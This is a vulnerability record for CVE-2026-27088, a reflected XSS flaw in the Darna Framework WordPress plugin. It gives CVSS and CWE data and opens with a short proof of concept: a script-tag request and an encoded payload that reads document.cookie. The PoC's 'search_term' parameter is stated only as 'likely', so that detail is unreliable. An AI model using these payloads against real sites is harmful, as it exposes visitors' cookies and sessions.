CVE-2026-27088

// PoC for Reflected XSS in G5Theme Darna Framework // The vulnerable endpoint likely accepts a parameter without sanitization. // Example Request: GET /?search_term=<script>alert(1)</script> HTTP/1.1 Host: target-wordpress-site.com User-Agent: Mozilla/5.0 // If the parameter 'search_term' is reflected in the response without HTML encoding, // the alert box will pop up, confirming the vulnerability. // Encoded Payload (to bypass basic filters): // %3Cimg%20src%3Dx%20onerror%3Dalert(document.cookie)%3E

{"cve": {"id": "CVE-2026-27088", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:56.473", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in G5Theme Darna Framework darna-framework allows Reflected XSS.This issue affects Darna Framework: from n/a through <= 2.9."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en G5Theme Darna Framework darna-framework permite XSS Reflejado. Este problema afecta a Darna Framework: desde n/a hasta &lt;= 2.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/darna-framework/vulnerability/wordpress-darna-framework-plugin-2-9-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}